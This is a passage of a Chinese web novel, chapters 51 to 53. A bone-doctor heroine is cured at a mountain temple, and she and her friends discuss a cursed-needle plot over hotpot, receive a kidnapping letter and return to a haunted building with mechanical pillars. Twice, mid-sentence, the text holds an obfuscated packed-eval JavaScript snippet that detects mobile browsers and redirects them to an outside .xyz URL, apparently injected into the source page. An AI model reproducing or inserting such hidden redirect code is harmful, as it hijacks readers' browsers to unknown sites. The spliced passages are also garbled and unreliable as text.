现下听了这个消息,他也愣住了,然后赶忙扯着卫斯诚跟在众僧后面,来到了方丈的禅房外。 宝济寺素日里不见几个人,现在到了惠灯大师的住处,两人才发现,这寺里的僧侣一点儿不少。这些僧人把惠灯的禅房围得水泄不通,那阵势,活像在战场上围剿敌人。 不多久,领头的胖和尚红着一双眼睛出来了,外面的人一见他,纷纷问道,“无我师兄,师父怎么样了?” “师父…师父…”胖和尚起先只是抽泣,可一提到惠灯大师,他实在是忍不住大哭起来,“师父没了!师父没了!师父死了!” “师兄你先别忙着哭啊!师父怎么会突然没了呢?”挤不进房中的僧人问,“今天上午的时候,师父还好好的呢!怎么能一下子就没了!” “是啊是啊!”别的僧人也跟着附和道,“谁第一个发现师父出事的?你们有没有打电话找医院呐!” “没用,没用的!”胖和尚痛苦地敲打着自己的圆脑袋,一屁股坐在地上哭,“师父的脉搏呼吸都没有了,谁来都没有用!” “不试试怎么知道啊…” “就是就是…” 众人七嘴八舌地议论着,只听得胖和尚更难过了。 凌岓想进去看一眼,他猫着腰挤在众僧之间,想尽量让自己不那么显眼。谁成想天不遂人愿,离惠灯大师的禅房门口只差一两步距离的时候,他和一个人撞到了一起。 “对不起,我不是…”凌岓摸着自己的额头直起身子给对方道歉,然后他人傻了——他迎面撞上的这个人不是姜泠是谁? “你?”凌岓指了指自己,又指了指别处,“你什么时候醒的?现在好点了吗?怎么就敢直接下地凑这个热闹?” 一连串炮弹般的问题吐出来,他才意识到自己太着急了。 “惠灯大师不在了。”姜泠朝向的方向正是惠灯坐化的地方。 “唉,是啊。”凌岓也觉得难过,却突然发觉哪里不对,他试探着问,“你怎么知道他是惠灯大师?我们来的时候你还在昏迷呢。” “诶让一让!让一让勒!”老银杏树来得及时,姜泠还没回答一个字,他就从人群中挤了出来。 “你这是干什么?光天化日之下非礼人家漂亮姑娘呐?”不空站在姜泠身前,嘴里叼着一根牙签,“人家好不容易清醒了,你非但没有一句好话,还一上来就质问她。你凭什么?” “道长,你知道惠灯大师圆寂的事吗?”被扯开手的人转移火力。 “这儿都快围成桶了!我不知道才见鬼!”不空依旧是吊儿郎当的语气。 “您和惠灯大师交情不浅,您为什么一点都不急着去看看他?” “因为我早就知道他会在今天圆寂。不仅我知道,老灯自己也知道。”不空又指了指姜泠,语出惊人,“不仅我们俩知道,她也知道。” 正说着,围观众人纷纷向两边退去,给门口让出一条路。惠灯大师被两个年长的和尚抬出来了,他犹如一尊坐佛,盘腿端坐在一方莲花垫上。 “带着你们的师兄弟先回去吧,你师父就交给我了。”不空上前和其中一个僧人小声说道。 那人点点头,招呼着其他僧侣离开了。 禅房前的空院子里很快就只剩下四个活人,外加一个刚刚仙逝的惠灯大师。 “你们两个也别杵着了,走吧。”不空又一次揪住凌岓和卫斯诚的领子,把他们二人“丢”了出去。 “我姐为什么也跟他留在里面?”卫斯诚不解,转身就要回去,哪想到院门被不空老道狠狠一关,非但没见到里面的人,反而被撞得鼻尖通红。 凌岓同样不解,却也知道现在不是多问的时候。他无奈地摊摊手,递给卫斯诚一瓶饭前买的冰镇矿泉水,“敷一敷就不会肿了。” “你说怪不怪,我从来没见过一群和尚能对一个道士言听计从的。”说话的人把瓶子放在鼻尖上来回滚动,“要不是知道他是有千年道行的老树仙,我差点就以为他要篡了宝济寺的权呢。” 院墙内,惠灯大师起了些变化——刚抬出来时,他端坐在印着莲花图案的坐垫上,左手掌心向上放在腹部,右手则是搭在腿上,指尖垂落点地;但现在,他慢慢站了起来,左手掌心朝外低垂下去,右手举到与身体齐平的位置,五指伸舒。 莲花坐垫在他站起来的一瞬间,也有了变化。平整的软垫就像有了生命一般长出几个尖角,然后在姜泠和不空的注视下变成了一朵真真正正的莲花。 刚过正午,太阳不偏不倚移到了院子正中。老银杏双手合十,低头闭眼念叨着什么,然后将掌心平摊向上,洒进院子四周的太阳光便汇集成了两束,尽数照进了他的手掌中。 “小姑娘,到你了。”不空看着最后一束光钻进掌心,恢复双手合十的姿势,转而对身边人说。 姜泠了然。她取下发间的簪子,先从上面刮下一层细细的粉末,又用簪尖刺破两手的中指尖。 簪子的粉末被均匀地涂在伤口上,两指相对。混着细粉的指尖血落下,滴进老银杏合十的 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“现在到复盘的时候了吗?”院门口倚着一个人,是凌岓。 “有些事情到了,有些事情还是不到时候告诉你们。”不空笑道。 “那您就先说能说的吧。”凌岓看了一眼不空身后的姑娘,觉得对方陌生又熟悉。 “你的朋友痊愈了,以后也不会有任何身体上的后遗症。”老银杏难得不卖关子,“至纯至善的药引是惠灯,就是里面那尊佛。” “啊?那方丈大师不会是因为这个才圆寂的吧…”卫斯诚悄无声息地探头问道。 “自然不是。”不空摇头,“实话说,他不算圆寂,他这算修成正果。而你们朋友的这条命就是他修成的果。” 见两个年轻人满眼懵然,不空又解释道,“真正的修行人不是光靠坐在屋子里面念经打坐,而是要历经苦难又能参悟天理才算得上修行。惠灯其人,已经历尽劫难,也参悟过天道了,只差最后一念善行就能修成正道。这小姑娘刚好给了他这个机会。” “原来如此。”凌岓点头。 “要是没有苦难,总不能自找苦吃吧?那岂不是受虐狂嘛!”卫斯诚的关注点永远与众不同。 “非也非也。”不空乐呵呵地回答他,“人活一世处处都是苦。七情六欲能带给人痛苦,为生存温饱四处奔波也能带给人痛苦。正是因为世间处处都苦,人与人的苦又各不相同,所以大家都会不约而同地追求幸福。只要一点顺心就足以让你们称为‘幸事’,而所谓的‘幸运’也正因此才难得,亦因难得才能称之为“幸’。” “能得救,老灯赠予她的机缘是一个原因,她的身份又是另一个原因。”老银杏指向姜泠,继续道,“骨医骨医,听起来治的是人骨,实际上医的是人心。骨医难得,无心的骨医更难得。也正因此,白梅那老东西才不会袖手旁观,即便你不算通过他的考验,他也还是给你琉璃丹救人。” “多谢您和两位前辈帮忙!”凌岓的感激溢于言表。 “谢谢二位…啊不,谢谢三位大师救命!”卫斯诚听到这里,猛然鞠躬致谢。 “不必谢我,你们先走吧。我还有两句话要叮嘱她。”不空摆摆手。 秋风萧瑟,对立禅院外的两个人站在秋风落叶之间,更显凄凉。 “三件事。第一,借销骨针作恶的人已经解决了。惠灯坐化时的姿势叫降魔印,他已经被降魔印了结了。” “第二,虽说你已经相安无事了。可琉璃丹毕竟不属人世,用了这丸药,你日后就要背负上因果了。换言之,一旦背了因果,人就要还债,还俗世凡人间各种各样欠下的债。至于最后的结果是好是坏,以我的道行尚且参悟不透。” “最后就是,你师父留给你的那块玉是好东西。那是平定四方的神器,你务必要保管好。但物极必反,这样好的东西带给你的未必全是好处,你也要当心它是把双刃剑。” “谢谢您,姜泠谨记前辈教诲。”年轻的姑娘一本正经地回应道。 “不空前辈,您认识我师父?”道完谢,姜泠接着问道。 “认识,不过这是我们之间的缘分了,说来话长。”回想起昔日的交情,老银杏负手而立,语气中颇有几分怀念,“我弹琴的本事就是你师父教的,作为答谢,我还送给他一把古琴呢。” “原来那把琴是您送的。”姜泠恍然大悟。 “是啊,是我送的。而且我还知道,那把琴现在不在你师父手里,马上就要交到下一个人手里了。” “您是说?”捕捉到关键信息,姜泠猛地抬头。 “天机不可泄漏,你很快就知道了。”说完这句,老银杏豪迈地笑着,背起手踩着一片黄叶离开了。 51. 第五十一章 青城山历来以道教名山闻名,可此次一趟出人意料的古寺之旅也足够叫人印象深刻。 回到市中心,看见熙熙攘攘的人群占满了商场、景区和步行街,人才能真真正正感觉到自己真实地活在世上。 “这叫什么知道吗?这就是传说中的‘大难不死,必有后福’!”卫斯诚第一次觉得闹市真不错,待在山里这几天,他快要被那种寂静的氛围逼疯了。 “我请你们吃饭,这次能捡回一条命多亏你们俩。”姜泠听身边的人说话,心中莫名涌上一股暖流。 “那还客气什么!挑最贵的吃!我来的时候刚好看见一个五分好评的海鲜火锅,有澳龙,还有和牛,看着嘎嘎香…” “你就不怕那都是刷出来的分?万一翻车了那岂不是白花钱。”路上打电话问了父母,得知家人都安好,又看见卫斯诚兴冲冲的样子和姜泠无可奈何的笑,凌岓嘴上泼着冷水,心下却觉得无比知足。 夜幕降临,整个城市灯火通明。三个人最终还是选择了一家传说中的“地道老火锅”,理由也很简单,单纯想来点辣的刺激一下这两天被寡淡食物折磨的味觉。 离新闻联播开始还有半小时,火锅店里已经坐得满满当当。得亏这三人来得早,要不然现在就要在店门口等着排队叫号了。 黄喉、吊龙、挂面鸭肠,腰片、鸭血、耙鸡脚……一道道菜被放进上菜推车里,飘着鲜亮红辣椒的大锅也跟着端上来了。锅在电磁炉上坐了十分钟,很快就开始“咕嘟咕嘟”冒泡。辣子的香味扑面而来,闻得人垂涎三尺。 “吃饭的时候能问问题吗?”凌岓把一盘鸭肠涮进红汤之中。 “能问。”姜泠答。 “有什么不能问的禁忌吗?” 鸭肠下锅不能涮太久,讲究的就是一个“七上八下”。凌岓嘴里问着问题,手底下还不忘用公筷把不生不老刚刚好的鸭肠夹起来,放进身边人碗里。 “没有禁忌,你问吧。”姜泠迟疑了一下,果断把碗里的食物塞进嘴里。 “你跟两棵树大仙打了什么赌?” 闻言,卫斯诚先抬起头看着姐姐,手里还捏着半块红糖糍粑。 “也不算打赌。不空前辈和白梅前辈的赌约是:我会不会放弃自己活下来的机会,去成全那么久以前的人。不空前辈赌我会,白梅前辈反过来。结果你看到了,不空前辈赢了,作为奖品,白梅前辈一定会帮忙。” “至于我,我跟他们赌的是能不能顺利让那些灾民活下来。因为他们觉得你会成为我的阻碍。”这家火锅的味道属实不错,在回答的空当,姜泠还不忘吃一口小酥肉,“如果我输了,那就心甘情愿地把玉玦给他们。除此以外就是请求两位前辈在我走以后,帮我把你们的记忆清除干净。” “原来你安的是这个心。”凌岓也不知道为什么,听完最后一句话,自己竟然会觉得生气,“怪不得你当时跟我说‘回去以后也不会有痛苦’,原来是因为有他们帮忙清除记忆作为保底。” “是的。”姜泠丝毫没听出来身边人的不满,还自顾自地说,“只要不记得某个人在你们的生活里存在过,只要抹除相互之间共同度过的记忆和联结,那么那个人离开的时候,其他人就不会觉得痛苦。” “你可真有办法!”凌岓气结,碗里的牛肉被夹起又放下。 锅里的红辣椒还跟着咕嘟咕嘟烧开的汤一起蹦哒着,桌子上的气氛却冷了下来。 卫斯诚那半块红糖糍耙已经被长筷子戳得千疮百孔。最后实在忍不住了,他幽幽地来了一句,“姐你真过分。要消除记忆,消他们的就行,怎么我也要连坐?这么多年的感情终究是错付了![1]” 自家师弟的哀怨太重,饶是反应迟钝的姜泠也听出不对劲了。她犹豫了片刻,最后一句解释都没有,只开口说了句“对不起”。 “嗨,哪有你对不起我们的道理。”凌岓有时候觉得自己很拧巴,譬如现在——身边的姑娘一道歉,他那点火气就飞到九霄云外去了。 “你也是为了我们好。为我们着想还要道歉的话,我们也太不是东西了。” “就是就是!”卫斯诚头点的像一只叨米的鸡,“姐,那你现在真没有什么不舒服吧?真的痊愈了吗?” “真的痊愈了。不过我在想,洪钟这件事里面是不是有我们这行的人掺和进来了。” “不可能!”糍粑终于被说话的人吞进了肚子,“那书上都写了,你是第九十九代骨医,是当今世上仅存的一位骨医,哪儿还有同行?” “如果他是没有被记载进去的骨医呢?” 这个问题一出口,另外两人都不说话了。 “可是没道理啊!咱这行本来人就少,那册子又和全自动的一样,为什么会漏记?” “两种可能。”姜泠忖度了半天,得出结论,“一是根本没有漏记。只是那位同仁用了什么手段把自己的名字从名册上划掉了。” “那二呢?”卫斯诚紧皱眉头想答案。 “你们这个册子就没记全过。”凌岓替身边人回答,“上面有名可查的,都是由某种机制筛选过的。而没有通过筛选的那些人,虽然也是骨医,但不会被记到你们的册子上。” “逆天。”在场唯一一个动了脑子也没用的人深表震惊,“这怎么可能?” “你还记得你姐中针以后,老洪说的那些话吗?” “他说了好多,你说哪句?” “关于销骨针的那些话。他说销骨针是骨医用来收拾亡魂的东西,可既然如此,又怎么会沦为那老登害人的工具?” “我好像明白一点了。”卫斯诚觉得自己脑子发痒,“关于销骨针的记载,我也是在一本没有出处的野史上看到的。这就是说…” “人有善恶,骨医也会有善恶。”姜泠言简意赅。 服务员来加汤,看见这三人严肃的神情,动作都下意识变轻了。 “就和有些人一样,一旦有了权力就想做恶、就想支配其他人。更何况有这种非凡能力的骨医呢?”凌岓接着姜泠的话说道。 “但问题是我们现在一点头绪都没有,想查都无从下手。”以前都是姐姐布置任务,然后再由他来安排人手完成。可最近的事情就像捆住自己的乱麻,让卫斯诚头疼不已。 “理清思路,突破口很好找。”姜泠这句话像一颗定心丸。 “这几天发生的事情大致可以分为两条线。第一条线是刀疤脸那伙人,他们的目标是小猛,与洪钟无关。” “第二条线是洪钟。请柬肯定是绑架他的两拨人中的其中一伙寄的。两张请柬的内容都是参加葬礼,第一个葬礼之所以没有任何异常,可能就是为了引我们放心进入阴幛。” “那么突破口就很明显了。以老洪为中心,从两封请柬和两个葬礼入手追查。”听姜泠分析完,凌岓心里也有了一个大致脉络。 “第二个葬礼好说。”卫斯诚想到在天地大酒店门口救过的人,一拍脑袋道,“那个心理咨询师,好像是叫裴心,她说她也要去阳市的葬礼来着。可是我们在阴幛里没看见其他人,那就说明第二个葬礼确实存在,只是我们走错了。” “那天给我们指路的人有问题!”想起那个孤零零的老头,卫斯诚恨得咬牙切齿。 “请柬是一起发来的,裴心作为心理咨询师又刚好都要参加上面的两个追悼会。那么除了设套之外,说不定这两个逝者之间也有联系。顺着这个查一查,说不定能查到更多线索。”姜泠继续补充。 “所以我们现在先把精神病院那条线放一放,全身心地追查葬礼的事儿。”凌岓最后做总结,“查消息就交给我吧,老郑这个挑夫可不是白做的。” 一顿火锅吃完,一场旅行结束。黄叶从树梢上飘飘扬扬落下,与泥土化为一体。空中划过一条飞机飞过后留下的白线,那是回到禾城的航班。 从南到北,从内陆盆地到沿海平原,秋雨连绵,没有例外。 洪钟的伤已经开始结痂了,加上医护的悉心照料,他甚至可以拄着拐杖自己走路了。一行三人刚出机场就直奔医院去探望他,把他感动得不行。 说完青城山中的寺庙、住持、两棵千年老树精和那三道考验后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14345363|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轮到洪钟开口了。自打从阴幛出来,洪钟把能翻的书都翻了一通、又把该问的人都问了一遍,可谓是想尽一切办法查资料,这才获得了些新发现。 “你们绝对想不到,阴幛是出自谁手。”洪钟一开口,说书人那股气势就上来了。 “谁?”卫斯诚很配合,像极了捧哏的。 “出自小姜的老前辈,骨医计枵之手。” “计枵?”闻言,卫斯诚用手肘暗暗捣了捣姜泠,“骨医代志里的每一位我都记得,可是从来没见过这个名字。他是哪儿的骨医?” “没记载也正常,计枵这个名字还是我退隐说书界多年的师叔告诉我的。据他说,最早有关于阴幛的记录中曾明明白白地提到,为炼出怨骨活尸,骨医计枵统共制作了三样东西。” “一是让小姜受伤的销骨针,七七四十九根针各有不同功用,扎人人死,扎鬼鬼亡的变态针灸术是也。二是一把银柄月牙弯刀,刀把的正面刻着一个环眼红须罗刹,反面刻着一只三翅断足飞鹰。这弯刀见血封喉,能斩阎罗,能杀神佛。” 说到这儿,洪钟咽下一口热水,全然没注意到姜泠的异常神色。 “那么第三,就是阴幛,我们刚从里面逃出来的阴幛。想必诸位都听说过‘鬼打墙’,这是说人在晚上或荒无人烟的地界儿行路时,找不着方向,来来回回在同一个地方打圈。而计枵创造出来的阴幛与鬼打墙有异曲同工之处,它们都会让人迷失其中,找不到现实的路。” “但它们又不完全一样,鬼打墙能被解释为行人意识模糊的状态。可这阴幛要比它毒得多,而且不能用人本身的意识状态来解释。” “其一,阴幛并不只是把人困在同一个地方。它就如同看得见摸得着的海市蜃楼——人进得去,还能随着不断走动探索出新世界。简单来说,阴幛里是一个单独的世界,无穷无尽,人不会一直在原地打转,但也绝不能轻易走出来。” “其二,阴幛是由枉死冤魂和活人生气炼成的。二者经计枵之手,变成一道道戾气十足的幛子,遮天蔽日,直把误入其中的一切生灵活活困死为止。” “其三,阴幛之中会有一个引路人,负责把骨医不想杀却困进其中的人平安无事地送出去。我师叔说,最早的引路人是计枵女儿。因为和他血脉相连,所以他的女儿不会被阴幛内的东西影响。至于再后来的引路人是什么条件,我师叔还得继续查一查才知道。” “这么说,纸扎铺老板实际上是阴幛里的引路人?”凌岓问,“那故意给我们指错路的老头又是谁?” “我记得他说他是因为生意特殊才留在那儿的,难道成为引路人的条件是要做丧葬生意?”卫斯诚跟着问道。 “咳咳——你们不要着急,现在还不是提问时间,我还没说完呢!”洪钟被一连串的问题呛住了,姜泠伸手给他顺了顺气儿,这才止住咳嗽。 “我刚刚说,计枵做出这三样东西的目的是什么?是为炼出怨骨活尸!” “怨骨,就是饮恨而终之人的遗骸。恨的原因千奇百怪,没有恨到死不瞑目的地步,都不足以被计枵利用。活尸就更容易理解了,销骨针几针下去,不出几天,活人的三魂七魄就会被生生剥离出来。剩下一副填满阴毒怨恨的躯壳,随时能为施针人驱使。” “我勒个豆!论恶毒,谁能比得过他啊…”听故事的三人目瞪口呆。 “就是说嘛!”说得兴起,洪钟猛一拍大腿,刚巧碰上十个缠着纱布的指头,疼得他倒吸一口凉气。 “就是因为炼尸夺魂之术太过恶毒,计枵早早就噶了。有人说是报应,也有人说是别的骨医为民除害。无论如何,此人心思歹毒,坏事做尽,和他同时代的几个一心向善的骨医曾联合声讨过他,然后他就被你们这个行当完全除名了。” “洪钟,你的信!”护士从病房外探进头,把一个牛皮纸信封扔到病床上。 拆开信封,猩红的大字和两张照片映入眼帘,洪钟的声音跟着戛然而止—— “低贱身,破烂命,心怀鬼胎千金魂;七月七,九月九,月隐花落披孝衣。” 52. 第五十二章 照片中坐着一个人,那人的眼睛和嘴被黑布条勒着,还能看到红印。他上身那件中年标配蓝绿色Polo衫的衣领被扯掉了一半,灰白的头发和凉鞋上都沾着血,从照片里却看不清是哪里受了伤。 “师叔?!”洪钟又惊又怒,大呼,“这是哪个缺德龟孙儿干的!” 凌岓接过照片仔细一看,也吃了一惊——“这不是姜泠受伤的那个小楼嘛!你看他旁边的四根柱子,和那栋楼一楼的柱子几乎一模一样。” “我看看!”卫斯诚也认真捕捉着照片中的细节,除了那张有人的以外,他还发现了另一张照片的端倪,“这还真是在阴幛里面啊,你看我们车还停在这儿呢…等等,车上这人谁啊?怎么坐在小爷我的位子上!” “这…这好像是我。”看清楚驾驶位上的人后,卫斯诚从愤怒变成茫然,继而一脸震惊,“你们快看!这车上坐的不是我们几个嘛!” 窗外的阳光明媚又温暖,可照在这两张色调灰暗的照片上却依然让人觉得毛骨悚然——卫斯诚没眼花,第二张照片里,是那条困住众人的楼间小路。他们的车辆横停在路中间,车内坐着的,正是现在围在病房中的人。 “这什么时候的照片,会不会是我们从楼里出来以后拍的?”卫斯诚提出第一个可能性。 “不可能!”洪钟摇头似拨浪鼓,“你们去青城山那两天我还和我师叔视频呢!绝对不可能是那两天以前被绑架的!” “有两种可能性。一是和你视频的师叔是假的。早在我们进入阴幛以前,他就已经被人控制了,等我们出来以后,绑他的人才拍了这张照片。”姜泠从几个人的话里听明白了这封信和这两张照片上的内容。 “第二种可能性,你师叔是真的,他这两天被人绑去了阴幛。这样一来,车里坐的‘我们’就是假的。” 一模一样的容貌和神情,要说车里这几个“自己”是假的,任谁听了都觉得荒诞又恐怖。 “看来我们得再去一趟才能把这事儿弄明白。”姜泠沉吟片刻,给出解决方案。 接到凌岓电话时,老郑刚挑完一担“货”,正忙着结清尾款。之胖则正在海岛度假,听说洪钟有难,他连刚开的椰子都没喝完,买了张最近前往禾城的火车票就启程了。 担心归担心,但洪钟更多的是着急上火,以至于之胖千里迢迢赶到禾城时,看到的洪钟是满嘴燎泡的形象。 “好家伙,这是怎么了?吃太辣了?”之胖呲着牙,仿佛那些灼人的火泡长在他嘴上。 “老洪的师叔叫人绑架了。”凌岓把之胖叫到门外,刚好碰见一样火急火燎的老郑,他干脆拉住两人把这些天遭遇的事情一并说了。 听完来龙去脉,之胖先恼了,“这都什么人!简直是烂心烂肠的畜生!欺负你之哥没人儿是吧!” 相比之下,老郑倒是沉稳很多,直把脉络理清,他才开口,“别的我不敢保证,但是打听消息你就包我身上。自家兄弟的事儿要是再办不好,我郑九斤这块招牌才算是彻底砸自己手上了。” “那咱就这么定了,老郑先去探消息,看看这两天老洪他师叔都接触过谁?有没有遇到什么奇怪的人或事儿。老之去准备准备,最迟后天,我得到那地方把人救出来。”三个人凑在一起合计完,凌岓给出明确的分工。 之胖原本也是想要跟着去阴幛一探究竟的,他觉得光让他提供设备、负责后勤是在小瞧他。可鉴于姜泠态度强硬,凌岓又在一旁可劲儿阻挠,他只好作罢。 收到照片以后,洪钟说什么都要出院。他拄着两根拐杖对其他人说,“我已经能走路了,不会拖你们后腿的!那可是小时候对我最好的师叔!我不能不去!” 见拗不过他,众人也只好应允下来。 老郑的消息来得很快,只过了大半天,他就急匆匆回到了姜泠的医馆小院。 “查到了。你们看,三天前,这个人和马成林一起在天津火车站上的车,在禾城下车之后就没人见过他们了。”老郑不知从哪儿弄来的监控视频,指着上面两个头戴鸭舌帽的人说。 “师叔!”“师父!” 顺着老郑的手指看过去,洪钟和卫斯诚不约而同地喊出来。 “师父?”洪钟不明所以,“谁是你师父?” “左边这个是我师父殷漠啊!”卫斯诚把手按在显示屏上,万分激动,“这个帽子是我大学赚到第一桶金之后给他买的,一共有两顶。喏,就是他们俩头上戴的这两顶。” “会不会是撞款式了?”凌岓不信会有这种巧合。 “不可能!”卫斯诚斩钉截铁,“这两顶帽子是我当时专门找人定做的。你看帽子上这个花纹,这是我自己画的,不可能撞款!” “那你师父为嘛会在这儿呢?他不是失踪很久了嘛?难道说,是你师父绑架了我师叔?!” “这话怎么说的呢?你不要在这儿血口喷人!” 见卫斯诚的声音大了起来,凌岓赶紧充当和事佬,“都别急!一顶帽子说明不了什么!有可能是他师父把帽子丢了,再或者阴差阳错有什么误会呢?反正现在监控也在我们手里,等姜泠回来再跟她商量商量。” 姜泠和之胖分头去准备这次要用的工具了。再晚些时候,她回到医馆,一推门,就敏锐地察觉到了气氛不对。 “姐,你回来了。”卫斯诚声音蔫蔫的。 “出什么事了?怎么今天都不说话?” “我看见咱师父了。” “他师父…你们俩的师父绑架了我师叔!” “你不要妄下结论!” “你自己说的那是你师父!” 洪钟和卫斯诚再一次不约而同地回答,活像两个吵了架的小孩子围在家长身边告状。 “明白了。是不是老郑来消息了,带走师叔的人和师父长得一模一样?”姜泠倒没有什么大的情绪波动,十分耐心地向两人了解情况。 “对,老郑带回来一段监控。斯诚说,上面那人戴的帽子是他送给你们师父的,款式特别,独一无二。”老郑找地方抽烟去了,在场众人里除了姜泠,就只有一个情绪稳定的凌岓认真解释着监控里的内容。 “嗯,知道了。”姜泠点点头,对亲师弟说,“你稳重一点,不要一碰到什么事儿就咋咋呼呼的。是不是师父还不好说,我们去了才知道。如果不是,那当然好;如果是,我们也不能袖手旁观。” 被评价为“不稳重”的人默不作声,悻悻低下头跟在姐姐身后进屋去了。 在动身以前,之胖把自己能搞到的防身武器全堆在了后备箱。他和老郑两人特意找了个大碗盛酒,慷慨陈词:“风萧萧兮易水寒,壮士一去兮……得复还!干了这碗酒,我们生死与共!” 真正要再进阴幛的三个人一想到那条狭窄灰暗的路,心中五味杂陈。 次日一早,霞光万道,太阳从东向的地平线升起,给秋天的清晨带来一点难得的温暖。检查过所有装备都没问题后,三个人在之胖和老郑的注目礼中离去。 一样的路线,一样无人的街口。只是这一次无需问路,司机小卫已经能轻车熟路地开进那条逼仄的巷道。上一次来时开的车就停在正前方——阴幛果然还在这里。 满打满算不过快一周的时间,暗红色的小楼还原模原样地坐落在路旁,纸扎铺却已经关了门,老板也不知所踪。 “完了,没有引路人,我们这次真的悬了。” “不要老是灭自己威风啊!小卫同志,你能不能支棱起来?”洪钟扶着两支拐,语重心长。 “我先进去看看,确认没问题了你们再进来。或者按照老规矩分组,留两个人在外面做照应。”姜泠已经收拾好了要带的东西,蓄势待发。 “老规矩吧,我们俩一组打头阵。”在凌岓看来,只要有一把榔头和一把短锹,什么都好办。 不用人推,门已经自动被风吹开了。凉风灌进小楼,地板和门一起发出难听的“吱呀”声。 一楼还是老样子,阴暗潮湿,没有光亮。来人用手电筒先四下照了一圈,并没有发现这里有任何被绑架者留下的痕迹。地上的黏腻感更重了,人走在上面时刻会觉得粘脚。 “马成林?”凌岓壮着胆子吼了一声,回应他的却只有从天花板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365475|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上掉落下来的灰尘。 “按理说这地方这么大灰,有人来的话一定会留下脚印。你发现什么了吗?”姜泠问。 “没有。”手电光应声照在地上,凌岓“嘶”了一声,奇怪道,“非但没有脚印,地板上的灰尘还这么均匀。就算我们走后没有人来过,那也不应该这么快就连我们上次来的脚印也没了。” “柱子上好像有猫腻。”盲女的触觉听觉极其灵敏,记忆力也一点儿不差。 “哪儿不对?还是上次雕着画的四根柱子啊,图案也没变。”凌岓仔仔细细把四根巨柱看了一遍。 “方位不对。”姜泠回答他,“这些柱子的位置变了。按照上次来的位置,东南角的现在在西北角,东北角的换到了西南角。” “这能说明什么?这些柱子里有机关?” “你记不记得洪钟说过,阴幛实际上是一个完整独立的世界。身处其中的人越探索,发现的就越多。”女孩轻轻摸着离自己最近的那根柱子,“或许这四根立柱,就是我们的第一个突破口。” 龙鳞飞鸟翼,月下美人面——姜泠不知为何突然想起这么两句话来,四根立柱上的花纹刚好对应着龙鳞、鸟翼、人脸。 “这朵花对应什么?”凌岓刚从二楼下来,上面什么都没有,就连那几具傀儡尸都不见了。 “‘月下美人面’,这句对应两个图案。”女孩的指腹轻轻略过西南方位的巨柱,那上面的植物根茎极长,踮起脚都摸不到茎叶上的花。 “最外面那层花瓣细长;中间的花瓣相对较宽,有点像叶片和羽毛的形状。整朵花都是银白色的,只有里面的花蕊被涂成了鹅黄色。”不用身边人开口,凌岓已经能颇有默契地领会对方的意思。 “那我应该没猜错。‘月下美人面’,这句的‘人面’指的是东北角落里刻着人脸的立柱;‘月下美人’是昙花的别称,指我们面前的这根柱子。” “这两句话中,是不是有开启柱子上机关的线索?” “对。如果没猜错的话,要打开柱子上的机关,除了花纹,还要兼顾方向。”沉吟片刻,姜泠说,“我们去把阿诚和洪钟叫进来。” 黏腻的血液粘在地上,叫人实在不想多走一步。凌岓清了清喉咙,先吹哨,后用别在腰间的便携喇叭朝门外喊了一嗓子,把姜泠吓了一跳。 “出什么事儿了呃呃…”听见哨声,卫斯诚一个箭步冲进来,结果没防住地板上坑坑洼洼,差点儿摔了个人仰马翻。 “呔——何方妖孽作祟?速速现形!否则休怪我洪某不客气!”洪钟拄着两根拐杖,捏着嗓子怪声怪气道。他本来走得就慢,眼见率先进去的人摔了个踉跄,赶紧刹车。 一直呆在屋里的两人,一个抽了抽嘴角表示无奈;另一个一脸困惑地面向刚进来的两人,不懂他们在干什么。 “别闹了,来帮忙。”听着卫斯诚被扶起来后,姜泠才带着哄孩子一样的语气开口。 “我们四个人,分别站在四根柱子旁边。站好了以后告诉我一声,你们面前的柱子上是什么图案。” “我这里是条龙。”卫斯诚揉了揉膝盖,一瘸一拐地走向离自己最近的一根立柱。 “老洪我这儿是只鸟,长着一对儿大翅膀!” “我这里是微笑脸。”其实即便凌岓不说,姜泠也知道他站在哪儿。 “龙鳞飞鸟翼。阿诚,你找找立柱上的龙鳞有没有可以按动的机关?洪钟也是,看看鸟翼上有没有什么松动的或者空心的地方?” “别说,还真有。”西北角柱的巨龙身上有一片金鳞,只是并不明显,要手电光照到角度才能看出来。 “我这儿也有!”洪钟扒在鸟翼上看,“这只翅膀上少了一片羽毛,少了的那块是用别的东西填上的,不细看还看不出来。” “人脸上好像没有机关。”凌岓说这话的时候有点犹豫,他怕是自己找得不够仔细,又上上下下摸了一圈。 “我这儿也没有。”姜泠倒真不拘小节——她爬到了柱子上面,嘴里叼着手电筒,一只手紧紧抱着立柱,另一只手反反复复确认花纹中的不寻常。 53. 第五十三章 地下古城 “没有机关,但花蕊里面有空心凹槽…”大脑飞快运转着,姜泠冲着对角线的方向喊,“有没有可以取下来的东西?譬如圆形的球体。” “等我看看。”真人脸和图案上的人脸两相对视,无奈道,“好像没有。” “诶姐!你别下来了!我去看看。”卫斯诚刚要往人脸立柱那边凑,就又被脚下黏腻不平的地板绊了个趔趄。他下意识伸手扶着柱子,却不想刚好将那条龙身上的金鳞按了下去。 洪钟没明白怎么回事儿,下意识对准缺失的那片鸟羽处按下——楼外的街道上突然刮起一阵劲风,木门“砰”一声砸紧,龙柱和鸟柱开始发出奇怪的响动。 细微的齿轮转动声传进姜泠耳中,她不敢多做停顿,从柱子上一跃而下,一把扯过离自己最近的人,然后贴近立柱,大喊道,“躲开!” 